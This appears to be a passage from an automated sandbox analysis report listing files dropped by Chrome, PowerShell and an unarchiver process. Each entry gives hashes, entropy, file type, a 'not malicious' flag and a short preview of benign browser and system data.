Size (bytes):	110312
Entropy (8bit):	3.7500633167455066
Encrypted:	false
SSDEEP:	768:5hQ/qJq+R5wRoH8eXcY6bVkSMqUKmgQFH:DQ/qJq+/eeX04WW
MD5:	4006DD34728A0C93530609117521C120
SHA1:	EE07AA9B2956F112E91B77A14DB8FF868E43FAAF
SHA-256:	1BE9CBA29B4E6EB5B09FAA20EBE525282AEB1A23444D442807057053B2525D10
SHA-512:	0FA5B40AB79CD05A224D143F91D26B6D4508B4E244FCE78A29D1ED189125B6969F4A5CE28B44B148F631982827ADD5B4A4F58CCE0A6E7A93E76397ACB32339B9
Malicious:	false
Reputation:	low
Preview:	..................C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6......M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n....H8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C.:.\.P.r.o.g.r.a.m.

C:\Users\user\AppData\Local\Google\Chrome\User Data\da2bf005-667b-4eae-a36d-213a5785d486.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	374988
Entropy (8bit):	6.014869445571076
Encrypted:	false
SSDEEP:	6144:VYruT3DKYonNGbdIo8Acx6ZaurE5/EDnJpAl9SeefNqWF4iVx/9LPeq/1LHm/dB9:VYjNGbWdxzurRDn9nfNxF4ijZVtilB9
MD5:	3F88518DAA8F40526DEBF95BE759E4E7
SHA1:	4B9A8B2A485385C9BC82C718AF09ACB59B8E4C21
SHA-256:	9BC987763B6B760A873CB8770BC8AF95997B1218394EF0C7CF00692A8F929318
SHA-512:	B6F50120162411590DD7876B612121310C05BCC1FA9AEF5E4A89359F61F58967983A40E9016198C634E87CF988DFE4C97DD5DDB69B9DF2781B475F6DEE164093
Malicious:	false
Reputation:	low
Preview:	{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":{"network_time_mapping":{"local":1.634622342571354e+12,"network":1.634589944e+12,"ticks":115560705.0,"uncertainty":4384120.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABUPWY4cSyAQZRX3j8/SLmMAAAAAAIAAAAAABBmAAAAAQAAIAAAACC7lwCjByxIY/Ds1S6cdCxJW6iSr1QfjoKlVKoVEQ4EAAAAAA6AAAAAAgAAIAAAAD9PMfiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNxMAAAAK+RpovfP61NtB5nOpQgPMjPTyt2T1WPeru9i3yP05zNVEj0uCRDWfONruG9ricX1kAAAADB9KtQ9KY2z38GdfaF7dW2ZLcAMHOX2oEKBg8ZJG9lsuMexxChB4M8HFpyb0Bpr6axpi+zmMIXt76noTOxFzKN"},"password_manager":{"os_password_blank":true,"os_password_last_changed":"13245950075265799"},"policy":{"last_statistics_update":"13279095939987

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log Download File
Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	388
Entropy (8bit):	5.2529463157768355
Encrypted:	false
SSDEEP:	12:Q3LaJU20NaL10U29hJ5g1B0U2ukyrFk7v:MLF20NaL329hJ5g522r0
MD5:	FF3B761A021930205BEC9D7664AE9258
SHA1:	1039D595C6333358D5F7EE5619FE6794E6F5FDB1
SHA-256:	A3517BC4B1E6470905F9A38466318B302186496E8706F1976F1ED76F3E87AF0F
SHA-512:	1E77D09CF965575EF9800B1EE8947A02D98F88DBFA267300330860757A0C7350AF857A2CB7001C49AFF1F5BD1E0AE6E90F643B27054522CADC730DD14BC3DE11
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System\1ffc437de59fb69ba2b865ffdc98ffd1\System.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\54d944b3ca0ea1188d700fbd8089726b\System.Drawing.ni.dll",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\bd8d59c984c9f5f2695f64341115cdf0\System.Windows.Forms.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.8968676994158
Encrypted:	false
SSDEEP:	96:WCJ2Woe5o2k6Lm5emmXIGvgyg12jDs+un/iQLEYFjDaeWJ6KGcmXx9smyFRLcU6f:5xoe5oVsm5emd0gkjDt4iWN3yBGHh9s6
MD5:	36DE9155D6C265A1DE62A448F3B5B66E
SHA1:	02D21946CBDD01860A0DE38D7EEC6CDE3A964FC3
SHA-256:	8BA38D55AA8F1E4F959E7223FDF653ABB9BE5B8B5DE9D116604E1ABB371C1C87
SHA-512:	C734ADE161FB89472B1DF9B9F062F4A53E7010D3FF99EDC0BD564540A56BC35743625C50A00635C31D165A74DCDBB330FFB878C5919D7B267F6F33D2AAB328E7
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........<.e...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	18772
Entropy (8bit):	5.5675947387157105
Encrypted:	false
SSDEEP:	384:JtpVhwiKs5dKGtWSBKn7jPulLysgvvISBJfqTbVUedN:JrdNg4K3PulsIO8nVF
MD5:	DBC8A391416198A95F52E42C63370796
SHA1:	42B9CECEC98F4CE798004F94AE48962B9DC379AC
SHA-256:	91AFBEAD6B22D9F76EEF2D39272E1D6E95A5583CA1AD8AED2AEECE50CDF1E918
SHA-512:	E5C62F739F59440AC9126E20013666065C01FE395A48095E37DDB0232F55620939426C2CB9770C1CE79CFE859D7880A19184206ED4A46F6BCC06614931E53B7F
Malicious:	false
Reputation:	low
Preview:	@...e...........<...........!........................@..........H...............<@.^.L."My...:9..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.<................):gK..G...$.1.q........System.ConfigurationH................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.P................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\3a880be2-2fb5-478b-99b5-315d182abac3.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	248531
Entropy (8bit):	7.963657412635355
Encrypted:	false
SSDEEP:	3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL
MD5:	541F52E24FE1EF9F8E12377A6CCAE0C0
SHA1:	189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6
SHA-256:	81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82
SHA-512:	D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C88
Malicious:	false
Reputation:	low
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u....k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f\|.~.c.4.E.......0..0....H............0.......).'..b.$w\$.q&.]zF_2..;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.\|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$\|..\|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z....).(6..@?v.;~..2..c....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...\|!..A..L.+.=...kP.!.1..

C:\Users\user\AppData\Local\Temp\42161b17-9a26-4e76-b3af-da33485a4a7b.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	768843
Entropy (8bit):	7.992932603402907
Encrypted:	true
SSDEEP:	12288:cK2ED9wjXNC1Gse83ru82/u0eKhgxuPFrDXgtbPz54Pm1D0fBmfH1sBrJ9mTiDga:cK2ED9I48seur0/uZKCuPNbgtbz6m1ob
MD5:	A11D5CAF6BF849AEB84B0C95B1C3B7CF
SHA1:	27F410CCBD75852C01C7464A1FD7EF8C29BE3916
SHA-256:	D0E62ACE64AFC334330A7AC3A2CC657914FEB321F1F89AEE11D2A6D0E7D81C31
SHA-512:	086C124DE3A01BE467647F3BCB4EA05105F690AB45417A0E3D38935ABA9E2381DF59AF98D0FFF7823CEFD5390B48807352E135AC70977AED7B413A8CC48FB590
Malicious:	false
Reputation:	low
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........6W..>Nuw9..R{c...Nq.H.K..A!....`v.k+..?.5.>v.....;.._~....tp....x.q.V...7.m.O.~.{!.o/q.'..BK..4./?'.....L..fH&.._<..&.p.k^..\s...:1y..F.N.+...X.PO@Mo....X.G1:..Y.@;..j..........=ae...0.......DU....n...n.;.Ipr..Q....:... <.....a.Y....{ei........0..0....H............0.......Mbh=.[O}.+..U.KHF(n3.\"...,g.c...6)..(.E...U...#.i.a..:...N.....P...x.O...(mC;\|.5.S.{m.aEx...[..fP.i`.y..5..R....v.$......l-m.............m....ni...`..W.....R.p.b.+...+.\k.R$e~.J\.&c%.d...M..j..V.%...+1F....D....X\.1ct.<........E.B.+.i@...8..^...&YR...I.o...,.....[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. D.'.N@.(..GK....m...A.0.."

C:\Users\user\AppData\Local\Temp\4724_1438030691\Filtering Rules Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	91662
Entropy (8bit):	5.445218573812661
Encrypted:	false
SSDEEP:	1536:dP10tSrXGbnSboNUeJvnp6591jYFmwN6DokKwA38:P0tRbnHKmh6pjYowgD1+8
MD5:	1B20DD5F6D92AC4EA703F7DD8654B2D2
SHA1:	C4F9C3301C59AFD213DDE0D6B450ACEA4BE1E282
SHA-256:	041E9E35F6BDA335B925AC90CEC7C565F823E8B6B362584B2EB56DA955F17FDE
SHA-512:	ECE136D4D9AADB3E9683CCD6144D8AEBDC1A5A686C3DD92C53BBCCCDF0588B8C519F24618CF0249A9405DB9F35E06CE45B5FD23202CB9C8D8F8C20977168D26B
Malicious:	false
Reputation:	low
Preview:	..........o0.8.@.R.-728x90.........o0.8.@.R.adtdp.com^.........o...epaper.timesgroup.com...nbcsports.com...windalert.com...kowb1290.com...k2radio.com...vimeo.com...koel.com...uefa.com0.8.@.R#googletagservices.com/tag/js/gpt.js........o0.8.@.R./ad-inserter/.+......0.8.@.R.g.ezoic.net/ezosuigenerisc.js.9......o...adcore.com.au.....adcore.ch..0.8.@.R./adcore_........o0.8.@.R.uwoaptee.com^........o0.8.@.R.ayads.co^........o0.8.@.R._468_60..8......o0.8.@.R)bancodevenezuela.com/imagenes/publicidad/........o0.8.@.R..adbutler-........o0.8.@.R.adrecover.com^.>......o...google.com0.8.@.R!developers.google.com/google-ads/........o0.8.@.R.aso1.net^.-......o...vk.com0.8.@.R.vk.me/css/al/ads.css.+......o0.8.@.R.mysmth.net/nForum//ADAgent_.%......0.8.@.R.discordapp.com/banners/.D......o...daum.net0.8.@.R)daumcdn.net/adfit/static/ad-native.min.js.'......o0.8.@.R.looker.com/api/internal/."......o0.8.@.R.broadstreetads.com^........o0.8.@.R./banner.cgi?.........o...thefreedictionary.com..

C:\Users\user\AppData\Local\Temp\4724_1438030691\LICENSE.txt Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24623
Entropy (8bit):	4.588307081140814
Encrypted:	false
SSDEEP:	384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm0:mvagXreRnTqzazWgj0v6XqD
MD5:	D33AAA5246E1CE0A94FA15BA0C407AE2
SHA1:	11D197ACB61361657D638154A9416DC3249EC9FB
SHA-256:	1D4FF95CE9C6E21FE4A4FF3B41E7A0DF88638DD449D909A7B46974D3DFAB7311
SHA-512:	98B1B12FF0991FD7A5612141F83F69B86BC5A89DD62FC472EE5971817B7BBB612A034C746C2D81AE58FDF6873129256A89AA8BB7456022246DC4515BAAE2454B
Malicious:	false
Reputation:	low
Preview:	EasyList Repository Licences.... Unless otherwise noted, the contents of the EasyList repository.. (https://github.com/easylist) is dual licensed under the GNU General.. Public License version 3 of the License, or (at your option) any later.. version, and Creative Commons Attribution-ShareAlike 3.0 Unported, or.. (at your option) any later version. You may use and/or modify the files.. as permitted by either licence; if required, "The EasyList authors.. (https://easylist.to/)" should be attributed as the source of the.. material. All relevant licence files are included in the repository..... Please be aware that files hosted externally and referenced in the.. repository, including but not limited to subscriptions other than.. EasyList, EasyPrivacy, EasyList Germany and EasyList Italy, may be.. available under other conditions; permission must be granted by the.. respective copyright holders to authorise the use of their material.......Creative Commons Attribut

C:\Users\user\AppData\Local\Temp\4724_1438030691\_metadata\verified_contents.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	1529
Entropy (8bit):	5.982586926845733
Encrypted:	false
SSDEEP:	24:pZRj/flTHYYG6CkYbKWvgjeT3SzkaoXs3secwzXITLm7oXN68gdu8v22LWmZ:p/h4d5bKETCkaknTwrD7kw8AuL2LWg
MD5:	6ABC3D5978FB1923B01B724C9BF650FE
SHA1:	4B7885693DF9971A4C8908FF36AEB8C8AEFA35BF
SHA-256:	61997A1114C0BFC1AE793D5BBE59BFA35C32AF28072E6B2F46E360490CD7402B
SHA-512:	20C38E7DB25C9FCB9122092632C714B3A52A4CB4AC6D8B88F6F162302C28090D7278FFA4A20697B247FC1329D69648F41C78D3E7353A63190EC109792265C2F1
Malicious:	false
Reputation:	low
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJGaWx0ZXJpbmcgUnVsZXMiLCJyb290X2hhc2giOiJvVmpUZ0dCOXh1NUZvdy1YOHBMSUd3N3c3bzRtWHBRU2lSMVB5U2ZFUG1zIn0seyJwYXRoIjoiTElDRU5TRS50eHQiLCJyb290X2hhc2giOiIyaWswNmk0TFlCdVNHNWphRGFIS253NE9pdnVSRzZsQ0JKMVk0TGtzRFJJIn0seyJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb3RfaGFzaCI6IlpPazM1MWhHSnhHdFdwNXI1SUVyc2RLRTF4WVE2QmlrcDUydnI1ZDhaZ2cifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJnY21qa21nZGxnbmtrY29jbW9laW1pbmFpam1tam5paSIsIml0ZW1fdmVyc2lvbiI6IjkuMzAuMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"Y3LhZVwztDSZ5AuBNgXe7VKETu2kD6_AcJaojgZVhFD8942owYRMUcn7zbIdpWAI63bX0GC1iT6hMNiDgSxPunZep3sHvuizqznjZYwkXT16Ej2z5iRb_CwkZO73VXN1GELnCYS8Aj0Wz5jsAdqxfh0zy_36dH6Kekv6cJs-uAmWvimsX__rmkef76WxK22qGG0vA5vjIrlvez8tQ4ZUKJCVSdvE7yxupPcnTKrSRHemFyCLQ

C:\Users\user\AppData\Local\Temp\4724_1438030691\manifest.fingerprint Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.8311952575506543
Encrypted:	false
SSDEEP:	3:ScZDE31DJyhD5sBdEWMrADXcOkla:Scm3JJyhD4MrAjcOk4
MD5:	0CF8794448514BC0C92C3B1335B9979C
SHA1:	D3BA9AB39D5C0C9FAC9A77F29177862E88041D10
SHA-256:	A17B2ABBBDF9CFEE923CF399C0E48E528D927B06829BA3AA378514AD70989542
SHA-512:	297821DA4DC84A7DEC178FBDB3E197DA7E513C40102A513646F543CDA1017765F335858F4F1D6328DA8A6291367CF665F4CE3AD85117EC0537F180C8CE1272FE
Malicious:	false
Reputation:	low
Preview:	1.960fae5df394ff065f95f2d0a5ab95a9bf88a270103c8ed2080959eedf3836fc

C:\Users\user\AppData\Local\Temp\4724_1438030691\manifest.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	115
Entropy (8bit):	4.545910352797257
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFHXG7LGMdv5HcDKhtUJKS1Gv:F6VlMZWuMt5SKPS1Gv
MD5:	9826ADA46C629E7D0233C6079456A4DA
SHA1:	CCAFC047ABB6DF35A1EB262CDF274DE747DFB598
SHA-256:	64E937E758462711AD5A9E6BE4812BB1D284D71610E818A4A79DAFAF977C6608
SHA-512:	8BA91A6DB13D7D8C5EA66E2403AE9722CEBDD6B15E8F8522374E980CE9C3DEBB1C508BB33FAC94D87CA58A5E4C7201DB0FBCA034E840E33A23A2D48F091BCAC9
Malicious:	false
Reputation:	low
Preview:	{. "manifest_version": 2,. "name": "Subresource Filtering Rules",. "ruleset_format": 1,. "version": "9.30.0".}.

C:\Users\user\AppData\Local\Temp\4724_1523790501\LICENSE Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Reputation:	low
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Users\user\AppData\Local\Temp\4724_1523790501\_metadata\verified_contents.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	5.968769897375971
Encrypted:	false
SSDEEP:	24:pZRj/flTU3YwxMPoEXkFNPjoY0k7aoXR1n9PPLFQW9PFcToXpbvxbY9wWl0kxQEw:p/hUIwxeXkFNCk7akznRZPFcTkZx0lcp
MD5:	FE99828429DF17FF89F9ECCF900692B4
SHA1:	D1523AAA6449AF316C22FC483B138734F28EEFC0
SHA-256:	112F772C1BBEBB1AA330B6A1FB1312F992C73E9EF076E24D89C02794A3B636D9
SHA-512:	FD1483CE9C63D8B8B3741E2478CE9BDFA55D00BD6CB4FD1C258D4D33BC8CAE6DD74E928CB883AFA8484EE22181801BAFEE0C062E5DEAA4AF874580F7687AE609
Malicious:	false
Reputation:	low
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6ImNybC1zZXQiLCJyb290X2hhc2giOiJnNUFNNGdsQmVRRy1qY1ZZVUVnVmxybFh1UXYtSmVzQmRFR2gyVGxYZGxVIn0seyJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb3RfaGFzaCI6IkZNV0RFUGV4ZF9RQ3piZlJuZ1oxeU8tSUVTWGp2ZjQ2dzJOZWg4SXp4ZmcifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJoZm5rcGltbGhoZ2llYWRkZ2ZlbWpob2ZtZmJsbW5pYiIsIml0ZW1fdmVyc2lvbiI6IjY5MjIiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"HR7thpVjI9D9NBVd5pqH72uH8cra8tRTVHWU_q6j6idEiP-gcH_s1r_WhiaNljNnVNCyasSAJ5w5AmzoQ537BE9phjk_0UDzonJIbYb2xhP343SW1TcbU2FxjEr9TwyxnohdDw2ScynxE1SfcUDnl3WZyV60xDswE--VUdj4GCF_aRPOCi6bGZjZqgLB2n4g3SKf7zC4j3xmcNCkwLdQHmZdwFj9td7s4wFbn_JTb9KRHbOdxR-_A7Hq44Q-P2a8tR-

C:\Users\user\AppData\Local\Temp\4724_1523790501\crl-set Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	22440
Entropy (8bit):	7.8198530526654695
Encrypted:	false
SSDEEP:	384:n20XPKfzeWUUIrH+pDzbm80WDzyloH83GHT450S8yzFP0tKDaWG9S3c/LaPJBr:nVA0RHIDv2WnyloKGHT3S8It0KuWGRuP
MD5:	ADA3A5E86DCEFCD824763D507A8015F0
SHA1:	D5FEFD36E882664F16ED3133FD1F2F864380243C
SHA-256:	71FF62E0FB85BEB9BE32B7883E455FEF243C0FA5BC63F30449287CF2D40EA9CB
SHA-512:	07E39AC96F8573D9CC9B5C2E48427A03909A13803E3D581D600C9426EECC17CE80B9A601854AEC3D3F4804D12EE520C952195CDCD951FD16543D65996C3F0C67
Malicious:	false
Reputation:	low
Preview:	".{"Version":0,"ContentType":"CRLSet","Sequence":6922,"DeltaFrom":0,"NumParents":195,"BlockedSPKIs":["Jdoa1Yu/z7In2HI7GFfUwY57qnQXtPnv+TZrXoafizk=","li5LVLuYp+5dX+uWM/mR08MwDpUU2t57DU+CjHlPjoc=","yP3cdcsb27WMB7TqhHKH9iZlndZrwQomrdm1dbOgo40=","BN3pqpp59hSYaCMl+ghwJ2cH+5ypU4QSC0aJMmhJT8k=","tbqN1/iVZMKInT1kU8hJmMd4JJGbZOoINapimGWRvlA=","wO0gU0a7veButWD1zuAqNjTiR0p+ds+PvvVjuxF90OM=","eBpM8ukkUvPuAdDDgaQhTzkEFlw5CtvWH80RJE4Jstw=","/NdsyiNH5c1bOTR/Uc9DZUtpor/JBzZwpr5H2HAebg4=","lo26afv/Fb83YgiUMa3lp+rUt+rxvnACaBC8V9HGT24=","fNKVt1VEgIq9lAlGbwg3xarcAuM7YVDGZE3goJZZ8jw=","9Sk9R+041MMbLULe47WzrOl8omyirANl42Iu6AITH7s=","nFmjzK6kaZhCsGjPxSz5RdtRmGlXyDLNsYynOEn7ue4=","OUz/WJ5okxLPwHHuC8Gf5MYGIWzlQ0Kd5tti5C27O8E=","NuqWEoyJg5+2IfitDh7gucIgb2Kre02ixnZYk8m3ztI=","xpENC6nt31kzNBSf7f6HOF83tiU1S7Q5XAriyN9I4Xw=","MO/kE4JHbDOA8C9+I+ZrovhnsFnuHqaHlrRBuFtdElY=","r1kVGOLmxg67/AkHr6pJvEBR1F5/IUq/7nUS7gD2Ye0=","6EnHF2yT32X2S2FpgjZuVmMReBK2+ivAyPqK6u5Bgcw=","0x7DkoW3pTGdAVfbQg7YfHQ+Mzu8d/h3H3BGT0NqYEk=","h7/Yr

C:\Users\user\AppData\Local\Temp\4724_1523790501\manifest.fingerprint Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.854947248691516
Encrypted:	false
SSDEEP:	3:SkAmqrycBXWW0VRUBmuSqG5Up:SkXqrzWhzdqv
MD5:	A6AF03ABB15F86BA718029815A9F3C06
SHA1:	48761E71C9BBA21F80CF7B4DE0C894911D7DA86B
SHA-256:	CCEA97A9DBCB82B3ACD9510D4D1A1268C8A1BA8DA2EE09838FF03F66680C100D
SHA-512:	CF8836C19EA541D9746061E24A31CD0E02A25FBE754C0E6594DD5A0B7A5760BD6852F196F9953BA33CDDCC997D54D6271D0597688E56315C2BFFD258A8C84189
Malicious:	false
Reputation:	low
Preview:	1.bc6f90b1ddaf0d99e34aedce335a702d1dea69ab7b4104809bf061a7372ddb00

C:\Users\user\AppData\Local\Temp\4724_1523790501\manifest.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	192
Entropy (8bit):	4.796635239247403
Encrypted:	false
